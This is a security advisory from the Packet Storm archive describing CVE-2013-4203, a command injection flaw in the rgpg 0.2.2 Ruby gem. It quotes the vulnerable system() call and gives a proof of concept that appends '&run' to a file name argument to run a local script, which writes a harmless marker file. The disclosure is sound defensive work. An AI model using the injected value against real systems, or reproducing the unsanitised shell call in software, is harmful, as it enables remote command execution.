exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Ruby Gem Rgpg 0.2.2 Command Injection

Ruby Gem Rgpg 0.2.2 Command Injection
Posted Aug 5, 2013
Authored by Larry W. Cashdollar

Ruby Gem Rgpg version 0.2.2 suffers from a remote command injection vulnerability.

tags | exploit, remote, ruby
advisories | CVE-2013-4203
SHA-256 | c54580488fa386bb799c224ae7cf985b25c183e8936078b05fc68b8cc01bd006

Ruby Gem Rgpg 0.2.2 Command Injection

Change Mirror Download
Title: Rgpg 0.2.2 Ruby Gem Remote Command Injection

Date: 7/31/2013

Advisory Author: Larry W. Cashdollar, @_larry0

CVE: CVE-2013-4203

Download: https://rubygems.org/gems/rgpg

Description:

"A simple Ruby wrapper around gpg command for file encryption.

rgpg is a simple API for interacting with the gpg tool. It is specifically designed to avoid altering global keyring state by creating temporary public and secret keyrings on the fly for encryption and decryption."

Vulnerability:

The following code snippet does not sanitize user supplied input before passing it to the System () function for execution. If this ApI is used in the context of a rails application remote commands can be injected into the shell.

in lib/rgpg/gpg_helper.rb:

68 begin
69 outputfile.close
70 result = system("#{commandline} > #{output_file.path} 2>&1")
71 ensure

PoC:


Our test code:
larry@sp0rk:~$ cat /bin/run
#!/bin/sh

echo "Command Injection" > /tmp/rci.txt

irb(main):027:0* Rgpg::GpgHelper.encrypt_file 'mykey.pub', 'myfile.txt', 'myfile.txt.enc&run'
=> nil
irb(main):028:0> gpg: keyring `/tmp/gpg-key-ring20130804-2970-1et1k4c' created
gpg: processing message failed: eof

After above completes:

larry@sp0rk:~$ ls -l /tmp/rci.txt
-rw-rw-r-- 1 larry larry 18 Aug 4 11:12 /tmp/rci.txt
larry@sp0rk:~$ cat /tmp/rci.txt
Command Injection
larry@sp0rk:~$


Author: Notified 8/1/2013.

Fixed: in 0.2.3. 8/1/2013.

Greets to all@DEFCON21.

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close